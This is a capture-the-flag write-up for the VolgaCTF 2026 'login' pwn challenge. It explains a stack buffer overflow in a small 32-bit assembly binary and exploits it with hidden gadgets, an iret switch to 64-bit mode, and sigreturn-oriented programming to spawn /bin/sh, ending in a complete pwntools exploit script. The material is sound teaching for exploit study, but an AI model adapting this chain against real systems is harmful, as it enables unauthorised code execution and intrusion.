login
login
Platform: volgactf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-03-28 | Status: Solved Techniques: execve_via_sigreturn_frame, hidden_gadget_discovery, iret_mode_switch, srop_sigreturn_oriented_programming, stack_buffer_overflow, stack_pivot, two_stage_payload
Summary
Task: 32-bit static ELF assembly binary with stack buffer overflow (64-byte buffer, 128-byte read) and hidden gadgets in dead code. Solution: Two-stage exploit using iret to switch from 32-bit compat to 64-bit long mode, then SROP (Sigreturn-Oriented Programming) to set all registers and execve("/bin/sh").
login — VolgaCTF 2026
Description
Connect to
nc login-1.q.2026.volgactf.ru 45003. Binary:vuln.zipcontaining a single ELFvuln.
A 32-bit statically linked ELF binary written in pure assembly. It prompts for a password, reads input into a stack buffer, prints "Wrong password", and exits. The goal is to exploit a buffer overflow to get a shell on the remote server.
Analysis
Binary Properties
- Architecture: 32-bit ELF, Intel 80386, statically linked, not stripped
- Size: ~5KB, only a few functions:
_start,main,read_stdin,write_stdout - Protections: No PIE, no canary, no RELRO. NX enabled but irrelevant for pure ROP.
Disassembly
asm read-only • copy allowed_start (0x400000): call main mov ebx, eax ; exit code = return value of main mov eax, 1 ; sys_exit int 0x80 ; "Dead code" below — actually contains hidden gadgets! mov eax, 0x50fcf ; bytes: b8 cf 0f 05 00 — contains 0f 05 = syscall! mov ebx, 0xc35f5e ; bytes: bb 5e 5f c3 00 — contains 5e 5f c3 = pop esi; pop edi; ret! mov [eax], ebx int3 int3 main (0x40001c): push ebp mov ebp, esp sub esp, 0x40 ; 64 bytes buffer mov edi, 0x40107c ; "Enter the password: " mov esi, 0x14 call write_stdout mov edi, esp ; buffer at esp = ebp-0x40 mov esi, 0x80 ; BUG: reads 128 bytes into 64-byte buffer! call read_stdin mov edi, 0x401094 ; "Wrong password..." mov esi, 0x22 call write_stdout mov eax, 0xf ; returns 15 = rt_sigreturn syscall number! leave ret read_stdin (0x400054): mov eax, 3 ; sys_read mov ebx, 0 ; stdin mov ecx, edi ; buffer mov edx, esi ; count int 0x80 xor eax, eax ret write_stdout (0x400068): mov eax, 4 ; sys_write mov ebx, 1 ; stdout mov ecx, edi ; buffer mov edx, esi ; count int 0x80 xor eax, eax ret
Vulnerability
Classic stack buffer overflow: sub esp, 0x40 allocates 64 bytes on the stack, but read_stdin is called with esi=0x80 (128 bytes). This allows overwriting the saved EBP at offset +0x40 and the return address at offset +0x44.
Hidden Gadgets in Dead Code
The "dead code" after _start's int 0x80; sys_exit was deliberately crafted. The immediate operands of the mov instructions contain useful byte sequences that can be jumped to mid-instruction:
| Address | Instruction Bytes | Hidden Gadget |
|---|---|---|
0x40000f | cf (inside b8 cf 0f 05 00) | iret — switches CPU mode via CS selector |
0x400010 | 0f 05 (inside b8 cf 0f 05 00) | syscall — 64-bit syscall instruction |
0x400014 | 5e 5f c3 (inside bb 5e 5f c3 00) | pop esi; pop edi; ret — register control |
| |
The eax = 0xf Clue
main ends with mov eax, 0xf; leave; ret. This is NOT a coincidence — 0xf is the syscall number for rt_sigreturn on 64-bit Linux. Combined with the iret and syscall gadgets, this points directly to an SROP attack after switching to 64-bit mode.
Why SROP is Necessary
The binary has an extremely limited gadget set — no pop eax, pop ebx, pop ecx, pop edx. There's no way to set eax = 0xb (32-bit execve) through normal ROP. But rt_sigreturn restores ALL registers from a signal frame on the stack, giving complete control with a single syscall.
Solution
Exploit Strategy: iret Mode Switch + SROP
The binary runs in 32-bit compatibility mode on a 64-bit kernel. The exploit uses two stages:
- Stage 1 (32-bit ROP): Overflow → read stage 2 data to
.datasection →iretto switch to 64-bit mode - Stage 2 (64-bit SROP):
rt_sigreturnrestores all registers →execve("/bin/sh")
Stage 1: Buffer Overflow → ROP Chain
Stack layout after overflow:
+0x00 - 0x3f: 64 bytes padding (buffer)
+0x40 - 0x43: saved EBP = FAKE_STACK (0x40108c in .data)
+0x44 - 0x47: return addr = pop_esi_edi_ret (0x400014)
+0x48 - 0x4b: esi = 0x200 (stage2 size for read_stdin)
+0x4c - 0x4f: edi = 0x40107c (DATA_ADDR, buffer for read_stdin)
+0x50 - 0x53: READ_STDIN (0x400054)
+0x54 - 0x57: IRET (0x40000f) — return after read_stdin
--- iret frame (pops EIP, CS, EFLAGS, ESP, SS) ---
+0x58 - 0x5b: EIP = MOV_EAX_F (0x40004c)
+0x5c - 0x5f: CS = 0x33 (switch to 64-bit long mode!)
+0x60 - 0x63: EFLAGS = 0x202 (IF flag set)
+0x64 - 0x67: ESP = 0x401200 (arbitrary, leave overrides)
+0x68 - 0x6b: SS = 0x2b (user mode stack segment)
The ROP chain:
pop esi; pop edi; ret— loads count and buffer address forread_stdinread_stdin— reads stage 2 payload from stdin into.datasection at0x40107ciret— pops EIP/CS/EFLAGS/ESP/SS from stack. Setting CS=0x33 switches the CPU from 32-bit compatibility mode to 64-bit long mode, jumping tomov eax, 0xf; leave; ret
Stage 2: SROP → execve("/bin/sh")
Data written to .data section (0x40107c):
+0x00: "/bin/sh\0" (8 bytes)
+0x08: padding (8 bytes)
+0x10: fake RBP (8 bytes) ← FAKE_STACK (0x40108c) points here
+0x18: SYSCALL addr (8 bytes) ← return address for leave;ret
+0x20: sigreturn frame (248 bytes) ← rt_sigreturn reads this
Execution flow after iret:
mov eax, 0xf→rax = 0xf(rt_sigreturn syscall number)leave→rsp = rbp = FAKE_STACK = 0x40108c, thenpop rbpfrom[0x40108c]→rsp = 0x401094ret→rip = [0x401094] = SYSCALL (0x400010),rsp = 0x40109csyscallwithrax=0xf→rt_sigreturn— kernel reads the sigreturn frame fromrspand restores ALL registers:rax = 0x3b(execve syscall number, 64-bit)rdi = 0x40107c(pointer to "/bin/sh")rsi = 0(argv = NULL)rdx = 0(envp = NULL)rip = 0x400010(syscall gadget)cs = 0x33(stay in 64-bit mode)
syscallwithrax=0x3b→execve("/bin/sh", NULL, NULL)→ SHELL!
Exploit Script
python read-only • copy allowed#!/usr/bin/env python3 from pwn import * import sys, time context.arch = "amd64" context.bits = 64 context.os = "linux" # Addresses READ_STDIN = 0x400054 POP_ESI_EDI = 0x400014 # pop esi; pop edi; ret IRET = 0x40000F # iret instruction SYSCALL = 0x400010 # syscall (0f 05) MOV_EAX_F = 0x40004C # mov eax, 0xf; leave; ret DATA_ADDR = 0x40107C # .data section (RW-) BINSH_ADDR = DATA_ADDR FAKE_STACK = DATA_ADDR + 0x10 # 0x40108c def build_stage1(): """Stage 1: 32-bit overflow → ROP → read stage2 to .data → iret to 64-bit""" payload = b"A" * 64 # buffer padding payload += p32(FAKE_STACK) # saved EBP → becomes rbp in 64-bit payload += p32(POP_ESI_EDI) # ret addr → pop esi; pop edi; ret payload += p32(0x200) # esi = count for read_stdin payload += p32(DATA_ADDR) # edi = buffer addr (.data) payload += p32(READ_STDIN) # call read_stdin payload += p32(IRET) # after read → iret # iret frame: EIP, CS, EFLAGS, ESP, SS payload += p32(MOV_EAX_F) # EIP = mov eax, 0xf; leave; ret payload += p32(0x33) # CS = 0x33 (64-bit mode!) payload += p32(0x202) # EFLAGS payload += p32(0x401200) # ESP (leave overrides) payload += p32(0x2B) # SS return payload.ljust(0x80, b"\x00") def build_stage2(): """Stage 2: /bin/sh string + fake stack frame + sigreturn frame""" frame = SigreturnFrame() frame.rax = 0x3B # execve frame.rdi = BINSH_ADDR # "/bin/sh" frame.rsi = 0 # argv = NULL frame.rdx = 0 # envp = NULL frame.rip = SYSCALL # syscall gadget frame.rsp = 0x401200 # arbitrary frame.rbp = 0 frame.csgsfs = 0x33 # CS = 0x33 (64-bit) stage2 = b"/bin/sh\x00" stage2 = stage2.ljust(0x10, b"\x00") stage2 += p64(0) # fake RBP stage2 += p64(SYSCALL) # return address → syscall stage2 += bytes(frame) # sigreturn frame (248 bytes) return stage2 r = remote("login-1.q.2026.volgactf.ru", 45003) r.recvuntil(b"Enter the password: ") r.send(build_stage1()) r.recvuntil(b"Wrong password, please try again.\n") time.sleep(0.3) r.send(build_stage2()) time.sleep(0.5) r.sendline(b"cat flag*") r.interactive()